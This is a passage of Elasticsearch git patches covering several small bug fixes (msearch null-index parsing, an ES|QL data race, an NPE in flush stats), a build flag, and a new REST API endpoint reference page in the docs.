+++ b/x-pack/plugin/deprecation/src/test/java/org/elasticsearch/xpack/deprecation/DataStreamDeprecationCheckerTests.java
@@ -78,7 +78,7 @@ public void testOldIndicesCheck() {
 
     public void testOldIndicesCheckWithOnlyNewIndices() {
         // This tests what happens when any old indices that we have are closed. We expect no deprecation warning.
-        int newOpenIndexCount = randomIntBetween(0, 100);
+        int newOpenIndexCount = randomIntBetween(1, 100);
         int newClosedIndexCount = randomIntBetween(0, 100);
 
         Map<String, IndexMetadata> nameToIndexMetadata = new HashMap<>();

From 6bfc8d9a8af0724889bb4aeb0457c9977f5a5ea1 Mon Sep 17 00:00:00 2001
From: Stanislav Malyshev <smalyshev@users.noreply.github.com>
Date: Wed, 9 Jul 2025 19:31:57 -0600
Subject: [PATCH 111/299] Fix msearch request parsing when index expression is
 null (#130776) (#130968)

* Fix parsing when index expression is null
---
 docs/changelog/130776.yaml                               | 6 ++++++
 .../common/xcontent/support/XContentMapValues.java       | 3 +++
 .../action/search/MultiSearchRequestTests.java           | 9 +++++++++
 3 files changed, 18 insertions(+)
 create mode 100644 docs/changelog/130776.yaml

diff --git a/docs/changelog/130776.yaml b/docs/changelog/130776.yaml
new file mode 100644
index 0000000000000..9d35a343e91d0
--- /dev/null
+++ b/docs/changelog/130776.yaml
@@ -0,0 +1,6 @@
+pr: 130776
+summary: Fix msearch request parsing when index expression is null
+area: Search
+type: bug
+issues:
+ - 129631
diff --git a/server/src/main/java/org/elasticsearch/common/xcontent/support/XContentMapValues.java b/server/src/main/java/org/elasticsearch/common/xcontent/support/XContentMapValues.java
index a1ba3759c7854..74bf3b9b5ff62 100644
--- a/server/src/main/java/org/elasticsearch/common/xcontent/support/XContentMapValues.java
+++ b/server/src/main/java/org/elasticsearch/common/xcontent/support/XContentMapValues.java
@@ -560,6 +560,9 @@ public static Map<String, Object> nodeMapValue(Object node, String desc) {
      * Otherwise the node is treated as a comma-separated string.
      */
     public static String[] nodeStringArrayValue(Object node) {
+        if (node == null) {
+            throw new ElasticsearchParseException("Expected a list of strings but got null");
+        }
         if (isArray(node)) {
             List<?> list = (List<?>) node;
             String[] arr = new String[list.size()];
diff --git a/server/src/test/java/org/elasticsearch/action/search/MultiSearchRequestTests.java b/server/src/test/java/org/elasticsearch/action/search/MultiSearchRequestTests.java
index 008230c5e3fe3..3ed63ff5e90d1 100644
--- a/server/src/test/java/org/elasticsearch/action/search/MultiSearchRequestTests.java
+++ b/server/src/test/java/org/elasticsearch/action/search/MultiSearchRequestTests.java
@@ -9,6 +9,7 @@
 
 package org.elasticsearch.action.search;
 
+import org.elasticsearch.ElasticsearchParseException;
 import org.elasticsearch.action.support.IndicesOptions;
 import org.elasticsearch.common.CheckedBiConsumer;
 import org.elasticsearch.common.Strings;
@@ -537,6 +538,14 @@ public void testFailOnExtraCharacters() throws IOException {
         }
     }
 
+    public void testNullIndex() throws IOException {
+        ElasticsearchParseException e = expectThrows(ElasticsearchParseException.class, () -> parseMultiSearchRequestFromString("""
+            {"index": null}
+            { "query": {"match_all": {}}}
+            """));
+        assertThat(e.getMessage(), containsString("Expected a list of strings but got null"));
+    }
+
     private static MultiSearchRequest mutate(MultiSearchRequest searchRequest) throws IOException {
         MultiSearchRequest mutation = copyRequest(searchRequest);
         List<CheckedRunnable<IOException>> mutators = new ArrayList<>();

From d007ad06affce9dd05739ae3df7e7f4e172122d2 Mon Sep 17 00:00:00 2001
From: Nhat Nguyen <nhat.nguyen@elastic.co>
Date: Wed, 9 Jul 2025 19:24:16 -0700
Subject: [PATCH 112/299] Fix data race with
 AbstractPageMappingToIteratorOperator (#130963) (#130971)

We need to release the blocks of the page in
AbstractPageMappingToIteratorOperator immediately in single-iteration
cases, instead of delaying to the next iteration. This is because the
blocks of the page are now shared with the output page. The output page
can be passed to a separate driver, which may run concurrently with this
driver, leading to data races in AbstractNonThreadSafeRefCounted, which
is not thread-safe.

An alternative would be to make RefCounted for Vectors/Blocks
thread-safe when they are about to be shared with other drivers via

Relates #130573

Closes #130959
Closes #130958
Closes #130950
Closes #130925
Closes #130881
Closes #130796
---
 .../AbstractPageMappingToIteratorOperator.java   | 16 ++++++++++++++--
 1 file changed, 14 insertions(+), 2 deletions(-)

diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/AbstractPageMappingToIteratorOperator.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/AbstractPageMappingToIteratorOperator.java
index 055359c6a389a..09960a9c48e65 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/AbstractPageMappingToIteratorOperator.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/AbstractPageMappingToIteratorOperator.java
@@ -321,6 +321,7 @@ public TransportVersion getMinimalSupportedVersion() {
     private static class AppendBlocksIterator implements ReleasableIterator<Page> {
         private final Page page;
         private final ReleasableIterator<Block[]> next;
+        private boolean closed = false;
 
         private int positionOffset;
 
@@ -348,7 +349,15 @@ public final Page next() {
                 for (int b = 0; b < page.getBlockCount(); b++) {
                     page.getBlock(b).incRef();
                 }
-                return page.appendBlocks(read);
+                final Page result = page.appendBlocks(read);
+                // We need to release the blocks of the page in this iteration instead of delaying to the next,
+                // because the blocks of this page are now shared with the output page. The output page can be
+                // passed to a separate driver, which may run concurrently with this driver, leading to data races
+                // of references in AbstractNonThreadSafeRefCounted, which is not thread-safe.
+                // An alternative would be to make RefCounted for Vectors/Blocks thread-safe when they are about
+                // to be shared with other drivers via #allowPassingToDifferentDriver.
+                close();
+                return result;
             }
             Block[] newBlocks = new Block[page.getBlockCount() + read.length];
             System.arraycopy(read, 0, newBlocks, page.getBlockCount(), read.length);
@@ -368,7 +377,10 @@ public final Page next() {
 
         @Override
         public void close() {
-            Releasables.closeExpectNoException(page::releaseBlocks, next);
+            if (closed == false) {
+                closed = true;
+                Releasables.closeExpectNoException(page::releaseBlocks, next);
+            }
         }
     }
 }

From 8e29403e05dd03bfc0506a661c476e91c5cccafe Mon Sep 17 00:00:00 2001
From: Iraklis Psaroudakis <kingherc@gmail.com>
Date: Thu, 10 Jul 2025 12:33:55 +0300
Subject: [PATCH 113/299] Fix NPE in IndexShard flushStats (#130809) (#130992)

Fixes #124164
---
 .../main/java/org/elasticsearch/index/shard/IndexShard.java    | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/server/src/main/java/org/elasticsearch/index/shard/IndexShard.java b/server/src/main/java/org/elasticsearch/index/shard/IndexShard.java
index 76ecd8141f79d..8dc7440c5dccf 100644
--- a/server/src/main/java/org/elasticsearch/index/shard/IndexShard.java
+++ b/server/src/main/java/org/elasticsearch/index/shard/IndexShard.java
@@ -1366,11 +1366,12 @@ public RefreshStats refreshStats() {
     }
 
     public FlushStats flushStats() {
+        final Engine engine = getEngineOrNull();
         return new FlushStats(
             flushMetric.count(),
             periodicFlushMetric.count(),
             TimeUnit.NANOSECONDS.toMillis(flushMetric.sum()),
-            getEngineOrNull() != null ? getEngineOrNull().getTotalFlushTimeExcludingWaitingOnLockInMillis() : 0L
+            engine != null ? engine.getTotalFlushTimeExcludingWaitingOnLockInMillis() : 0L
         );
     }
 

From 09edbcfb44c72b276a8290086162c7ef36337ac8 Mon Sep 17 00:00:00 2001
From: Liam Thompson <leemthompo@gmail.com>
Date: Thu, 10 Jul 2025 11:41:47 +0200
Subject: [PATCH 114/299] Update README.asciidoc (#130899) (#130998)

Co-authored-by: Olexandr88 <radole1203@gmail.com>
---
 README.asciidoc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.asciidoc b/README.asciidoc
index 7efdb64e5bb19..2dbf6d1f287ac 100644
--- a/README.asciidoc
+++ b/README.asciidoc
@@ -275,7 +275,7 @@ For the complete Elasticsearch documentation visit
 https://www.elastic.co/guide/en/elasticsearch/reference/current/index.html[elastic.co].
 
 For information about our documentation processes, see the
-xref:docs/README.asciidoc[docs README].
+xref:https://github.com/elastic/elasticsearch/blob/main/docs/README.md[docs README].
 
 [[examples]]
 == Examples and guides

From 0287c39e4816739a2b926247654636b57331e9b1 Mon Sep 17 00:00:00 2001
From: Kostas Krikellas <131142368+kkrik-es@users.noreply.github.com>
Date: Thu, 10 Jul 2025 14:06:24 +0300
Subject: [PATCH 115/299] Fix backwards failures for subobject auto (#130937)
 (#130985)

* Fix backwards failures for subobject auto

* Update build.gradle
---
 qa/mixed-cluster/build.gradle | 1 +
 1 file changed, 1 insertion(+)

diff --git a/qa/mixed-cluster/build.gradle b/qa/mixed-cluster/build.gradle
index dfe4052b09aff..a591d4c590b27 100644
--- a/qa/mixed-cluster/build.gradle
+++ b/qa/mixed-cluster/build.gradle
@@ -89,6 +89,7 @@ buildParams.bwcVersions.withWireCompatible { bwcVersion, baseName ->
         setting 'health.master_history.no_master_transitions_threshold', '10'
       }
       requiresFeature 'es.index_mode_feature_flag_registered', Version.fromString("8.0.0")
+      requiresFeature 'sub_objects_auto', Version.fromString("8.16.0")
       if (bwcVersion.before(Version.fromString("8.18.0"))) {
         jvmArgs '-da:org.elasticsearch.index.mapper.DocumentMapper'
         jvmArgs '-da:org.elasticsearch.index.mapper.MapperService'

From c9ec2893645f11231f7c2a3b5b731db397262746 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Istv=C3=A1n=20Zolt=C3=A1n=20Szab=C3=B3?=
 <istvan.szabo@elastic.co>
Date: Thu, 10 Jul 2025 14:40:31 +0200
Subject: [PATCH 116/299] Drafts REST API page in ES reference docs (#129722)
 (#131007)

* Drafts Elasticsearch landing page.

* Apply suggestions from code review



* Changes links.

* Fixes relative links.

* Provide API descriptions.

* Adds API endpoint lists.

* Adds table.

* updating links

* fixing additional link

* fixing links

* Fixes more URLs.

* additional link fixes

* Fixes links CCR and above.

* Removes visual from landing page.

* Fixes URLs until the Inference section and above.

* Fixes URLs until Licensing and above.

* updated all links and landing page

* fixes

* updating urls

* Revert landing page changes except renaming.

---------

Co-authored-by: George Wallace <georgewallace@users.noreply.github.com>
Co-authored-by: George Wallace <george.wallace@elastic.co>
---
 docs/reference/elasticsearch/index.md         |   4 +-
 .../elasticsearch/rest-apis/index.md          | 664 ++++++++++++++++++
 2 files changed, 666 insertions(+), 2 deletions(-)

diff --git a/docs/reference/elasticsearch/index.md b/docs/reference/elasticsearch/index.md
index a2060ee9c384c..8ffec42e3a1a0 100644
--- a/docs/reference/elasticsearch/index.md
+++ b/docs/reference/elasticsearch/index.md
@@ -1,4 +1,4 @@
-# Elasticsearch and index management
+# Elasticsearch
 
 This section contains reference information for {{es}} and index management features.
 
@@ -7,7 +7,7 @@ To learn more about {{es}} features and how to get started, refer to the [{{es}}
 For more details about query and scripting languages, check these sections:
 * [Query languages](../query-languages/index.md)
 * [Scripting languages](../scripting-languages/index.md)
- 
+
 {{es}} also provides the following REST APIs:
 
 * [{{es}} API](https://www.elastic.co/docs/api/doc/elasticsearch)
diff --git a/docs/reference/elasticsearch/rest-apis/index.md b/docs/reference/elasticsearch/rest-apis/index.md
index e3dd8f9897986..871666cc99209 100644
--- a/docs/reference/elasticsearch/rest-apis/index.md
+++ b/docs/reference/elasticsearch/rest-apis/index.md
@@ -16,3 +16,667 @@ This section includes:
 - [Common options](/reference/elasticsearch/rest-apis/common-options.md)
 - [Compatibility](/reference/elasticsearch/rest-apis/compatibility.md)
 - [Examples](/reference/elasticsearch/rest-apis/api-examples.md)
+
+## API endpoints
+
+### [Autoscaling](https://www.elastic.co/docs/api/doc/elasticsearch/group/endpoint-autoscaling)
+
+The autoscaling APIs enable you to create and manage autoscaling policies and retrieve information about autoscaling capacity. Autoscaling adjusts resources based on demand. A deployment can use autoscaling to scale resources as needed, ensuring sufficient capacity to meet workload requirements.
+
+| API | Description |
+| --- | ----------- |
+| [Get Autoscaling Policy](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-autoscaling-get-autoscaling-policy) | Retrieves a specific autoscaling policy. |
+| [Create or update an autoscaling policy](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-autoscaling-put-autoscaling-policy) | Creates or updates an autoscaling policy. |
+| [Delete Autoscaling Policy](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-autoscaling-delete-autoscaling-policy) | Deletes an existing autoscaling policy. |
+| [Get Autoscaling Capacity](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-autoscaling-get-autoscaling-capacity) | Estimates autoscaling capacity for current cluster state. |
+
+### [Behavioral analytics](https://www.elastic.co/docs/api/doc/elasticsearch/group/endpoint-analytics)
+
+```{applies_to}
+stack: deprecated
+```
+
+The behavioral analytics APIs enable you to create and manage analytics collections and retrieve information about analytics collections. Behavioral Analytics is an analytics event collection platform. You can use it to analyze your users' searching and clicking behavior. Leverage this information to improve the relevance of your search results and identify gaps in your content.
+
+| API | Description |
+| --- | ----------- |
+| [Get Collections](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search-application-get-behavioral-analytics) | Lists all behavioral analytics collections. |
+| [Create Collection](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search-application-put-behavioral-analytics) | Creates a new behavioral analytics collection. |
+| [Delete Collection](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search-application-delete-behavioral-analytics) | Deletes a behavioral analytics collection. |
+| [Create Event](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search-application-post-behavioral-analytics-event) | Sends a behavioral analytics event to a collection. |
+
+### [Compact and aligned text (CAT)](https://www.elastic.co/docs/api/doc/elasticsearch/group/endpoint-cat)
+
+The compact and aligned text (CAT) APIs return human-readable text as a response, instead of a JSON object. The CAT APIs aim are intended only for human consumption using the Kibana console or command line. They are not intended for use by applications. For application consumption, it's recommend to use a corresponding JSON API.
+
+| API | Description |
+| --- | ----------- |
+| [Get aliases](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-aliases) | Returns index aliases. |
+| [Get allocation](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-allocation) | Provides a snapshot of shard allocation across nodes. |
+| [Get component templates](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-component-templates) | Returns information about component templates. |
+| [Get count](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-count) | Returns document count for specified indices. |
+| [Get fielddata](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-fielddata) | Shows fielddata memory usage by field. |
+| [Get health](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-health) | Returns cluster health status. |
+| [Get help](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-help) | Shows help for CAT APIs. |
+| [Get index information](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-indices) | Returns index statistics. |
+| [Get master](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-master) | Returns information about the elected master node. |
+| [Get ml data frame analytics](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-ml-data-frame-analytics) | Returns data frame analytics jobs. |
+| [Get ml datafeeds](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-ml-datafeeds) | Returns information about datafeeds. |
+| [Get ml jobs](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-ml-jobs) | Returns anomaly detection jobs. |
+| [Get ml trained models](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-ml-trained-models) | Returns trained machine learning models. |
+| [Get nodeattrs](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-nodeattrs) | Returns custom node attributes. |
+| [Get node information](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-nodes) | Returns cluster node info and statistics. |
+| [Get pending tasks](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-pending-tasks) | Returns cluster pending tasks. |
+| [Get plugins](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-plugins) | Returns information about installed plugins. |
+| [Get recovery](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-recovery) | Returns shard recovery information. |
+| [Get repositories](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-repositories) | Returns snapshot repository information. |
+| [Get segments](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-segments) | Returns low-level segment information. |
+| [Get shard information](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-shards) | Returns shard allocation across nodes. |
+| [Get snapshots](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-snapshots) | Returns snapshot information. |
+| [Get tasks](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-tasks) | Returns information about running tasks. |
+| [Get templates](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-templates) | Returns index template information. |
+| [Get thread pool](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-thread-pool) | Returns thread pool statistics. |
+| [Get transforms](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-transforms) | Returns transform information. |
+
+### [Cluster](https://www.elastic.co/docs/api/doc/elasticsearch/group/endpoint-cluster)
+
+The cluster APIs enable you to retrieve information about your infrastructure on cluster, node, or shard level. You can manage cluster settings and voting configuration exceptions, collect node statistics and retrieve node information.
+
+| API | Description |
+| --- | ----------- |
+| [Get cluster health](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cluster-health) | Returns health status of the cluster. |
+| [Get cluster info](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cluster-info) | Returns basic information about the cluster. |
+| [Reroute cluster](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cluster-reroute) | Manually reassigns shard allocations. |
+| [Get cluster state](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cluster-state) | Retrieves the current cluster state. |
+| [Explain shard allocation](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cluster-allocation-explain) | Get explanations for shard allocations in the cluster. |
+| [Update cluster settings](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cluster-put-settings) | Updates persistent or transient cluster settings. |
+| [Get cluster stats](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cluster-stats) | Returns cluster-wide statistics, including node, index, and shard metrics. |
+| [Get cluster pending tasks](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cluster-pending-tasks) | Lists cluster-level tasks that are pending execution. |
+| [Get cluster settings](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cluster-get-settings) | Retrieves the current cluster-wide settings, including persistent and transient settings. |
+| [Get cluster remote info](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cluster-remote-info) | Returns information about configured remote clusters for cross-cluster search and replication. |
+| [Update cluster voting config exclusions](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cluster-post-voting-config-exclusions) | Update the cluster voting config exclusions by node IDs or node names. |
+| [Delete voting config exclusions](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cluster-delete-voting-config-exclusions) | Clears voting configuration exclusions, allowing previously excluded nodes to participate in master elections. |
+
+### [Cluster - Health](https://www.elastic.co/docs/api/doc/elasticsearch/group/endpoint-health_report)
+
+The cluster - health API provides you a report with the health status of an Elasticsearch cluster.
+
+| API | Description |
+| --- | ----------- |
+| [Get cluster health report](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-health-report) | Returns health status of the cluster, including index-level details. |
+
+### [Connector](https://www.elastic.co/docs/api/doc/elasticsearch/group/endpoint-connector)
+
+The connector and sync jobs APIs provide a convenient way to create and manage Elastic connectors and sync jobs in an internal index.
+
+| API | Description |
+| --- | ----------- |
+| [Get connector](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-connector-get) | Retrieves a connector configuration. |
+| [Put connector](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-connector-put) | Creates or updates a connector configuration. |
+| [Delete connector](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-connector-delete) | Deletes a connector configuration. |
+| [Start connector sync job](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-connector-sync-job-post) | Starts a sync job for a connector. |
+| [Get connector sync job](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-connector-sync-job-get) | Retrieves sync job details for a connector. |
+| [Get all connectors](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-connector-list) | Retrieves a list of all connector configurations. |
+| [Get all connector sync jobs](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-connector-sync-job-list) | Retrieves a list of all connector sync jobs. |
+| [Delete connector sync job](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-connector-sync-job-delete) | Deletes a connector sync job. |
+
+The connector and sync jobs APIs provide a convenient way to create and manage Elastic connectors and sync jobs in an internal index.
+
+| API | Description |
+| --- | ----------- |
+| [Get connector](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-connector-get) | Retrieves a connector configuration. |
+| [Put connector](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-connector-put) | Creates or updates a connector configuration. |
+| [Delete connector](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-connector-delete) | Deletes a connector configuration. |
+| [Start connector sync job](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-connector-sync-job-post) | Starts a sync job for a connector. |
+| [Get connector sync job](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-connector-sync-job-get) | Retrieves sync job details for a connector. |
+
+### [Cross-cluster replication (CCR)](https://www.elastic.co/docs/api/doc/elasticsearch/group/endpoint-ccr)
+
+The cross-cluster replication (CCR) APIs enable you to run cross-cluster replication operations, such as creating and managing follower indices or auto-follow patterns. With CCR, you can replicate indices across clusters to continue handling search requests in the event of a datacenter outage, prevent search volume from impacting indexing throughput, and reduce search latency by processing search requests in geo-proximity to the user.
+
+| API | Description |
+| --- | ----------- |
+| [Create or update auto-follow pattern](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ccr-put-auto-follow-pattern) | Creates or updates an auto-follow pattern. |
+| [Delete auto-follow pattern](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ccr-delete-auto-follow-pattern) | Deletes an auto-follow pattern. |
+| [Get auto-follow pattern](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ccr-get-auto-follow-pattern) | Retrieves auto-follow pattern configuration. |
+| [Pause auto-follow pattern](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ccr-pause-auto-follow-pattern) | Pauses an auto-follow pattern. |
+| [Resume auto-follow pattern](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ccr-resume-auto-follow-pattern) | Resumes a paused auto-follow pattern. |
+| [Forget follower](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ccr-forget-follower) | Removes follower retention leases from leader index. |
+| [Create follower](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ccr-follow) | Creates a follower index. |
+| [Get follower](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ccr-follow-info) | Retrieves information about follower indices. |
+| [Get follower stats](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ccr-follow-stats) | Retrieves stats about follower indices. |
+| [Pause follower](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ccr-pause-follow) | Pauses replication of a follower index. |
+| [Resume follower](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ccr-resume-follow) | Resumes replication of a paused follower index. |
+| [Unfollow index](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ccr-unfollow) | Converts a follower index into a regular index. |
+| [Get CCR stats](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ccr-stats) | Retrieves overall CCR statistics for the cluster. |
+
+### [Data stream](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-data-stream)
+
+The data stream APIs enable you to create and manage data streams and data stream lifecycles. A data stream lets you store append-only time series data across multiple indices while giving you a single named resource for requests. Data streams are well-suited for logs, events, metrics, and other continuously generated data.
+
+| API | Description |
+| --- | ----------- |
+| [Create data stream](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-create-data-stream) | Creates a new data stream. |
+| [Delete data stream](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-delete-data-stream) | Deletes an existing data stream. |
+| [Get data stream](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-get-data-stream) | Retrieves one or more data streams. |
+| [Modify data stream](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-modify-data-stream) | Updates the backing index configuration for a data stream. |
+| [Promote data stream write index](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-promote-data-stream) | Promotes a backing index to be the write index. |
+| [Data streams stats](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-data-streams-stats) | Returns statistics about data streams. |
+| [Migrate to data stream](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-migrate-to-data-stream) | Migrates an index or indices to a data stream. |
+
+### [Document](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-document)
+
+The document APIs enable you to create and manage documents in an {{es}} index.
+
+| API | Description |
+| --- | ----------- |
+| [Index document](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-create) | Indexes a document into a specific index. |
+| [Get document](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-get) | Retrieves a document by ID. |
+| [Delete document](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-delete) | Deletes a document by ID. |
+| [Update document](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-update) | Updates a document using a script or partial doc. |
+| [Bulk](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-bulk) | Performs multiple indexing or delete operations in a single API call. |
+| [Multi-get document](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-mget) | Retrieves multiple documents by ID in one request. |
+| [Update documents by query](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-update-by-query) | Updates documents that match a query. |
+| [Delete documents by query](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-delete-by-query) | Deletes documents that match a query. |
+| [Get term vectors](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-termvectors) | Retrieves term vectors for a document. |
+| [Multi-termvectors](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-mtermvectors) | Retrieves term vectors for multiple documents. |
+| [Reindex](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-reindex) | Copies documents from one index to another. |
+| [Reindex Rethrottle](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-reindex-rethrottle) | Changes the throttle for a running reindex task. |
+| [Explain](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-explain) | Explains how a document matches (or doesn't match) a query. |
+| [Get source](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-get-source) | Retrieves the source of a document by ID. |
+| [Exists](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-exists) | Checks if a document exists by ID. |
+
+### [Enrich](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-enrich)
+
+The enrich APIs enable you to manage enrich policies. An enrich policy is a set of configuration options used to add the right enrich data to the right incoming documents.
+
+| API | Description |
+| --- | ----------- |
+| [Create or update enrich policy](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-enrich-put-policy) | Creates or updates an enrich policy. |
+| [Get enrich policy](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-enrich-get-policy) | Retrieves enrich policy definitions. |
+| [Delete enrich policy](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-enrich-delete-policy) | Deletes an enrich policy. |
+| [Execute enrich policy](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-enrich-execute-policy) | Executes an enrich policy to create an enrich index. |
+| [Get enrich stats](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-enrich-stats) | Returns enrich coordinator and policy execution statistics. |
+
+### [EQL](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-eql)
+
+The EQL APIs enable you to run EQL-related operations. Event Query Language (EQL) is a query language for event-based time series data, such as logs, metrics, and traces.
+
+| API | Description |
+| --- | ----------- |
+| [Submit EQL search](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-eql-search) | Runs an EQL search. |
+| [Get EQL search status](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-eql-get) | Retrieves the status of an asynchronous EQL search. |
+| [Get EQL search results](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-eql-get) | Retrieves results of an asynchronous EQL search. |
+| [Delete EQL search](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-eql-delete) | Cancels an asynchronous EQL search. |
+
+### [ES|QL](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-esql)
+
+The ES|QL APIs enable you to run ES|QL-related operations. The Elasticsearch Query Language (ES|QL) provides a powerful way to filter, transform, and analyze data stored in Elasticsearch, and in the future in other runtimes.
+
+| API | Description |
+| --- | ----------- |
+| [ES|QL Query](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-esql-query) | Executes an ES|QL query using a SQL-like syntax. |
+| [ES|QL Async Submit](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-esql-async-query) | Submits an ES|QL query to run asynchronously. |
+| [ES|QL Async Get](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-esql-async-query-get) | Retrieves results of an asynchronous ES|QL query. |
+| [ES|QL Async Delete](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-esql-async-query-delete) | Cancels an asynchronous ES|QL query. |
+
+### [Features](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-features)
+
+The feature APIs enable you to introspect and manage features provided by {{es}} and {{es}} plugins.
+
+| API | Description |
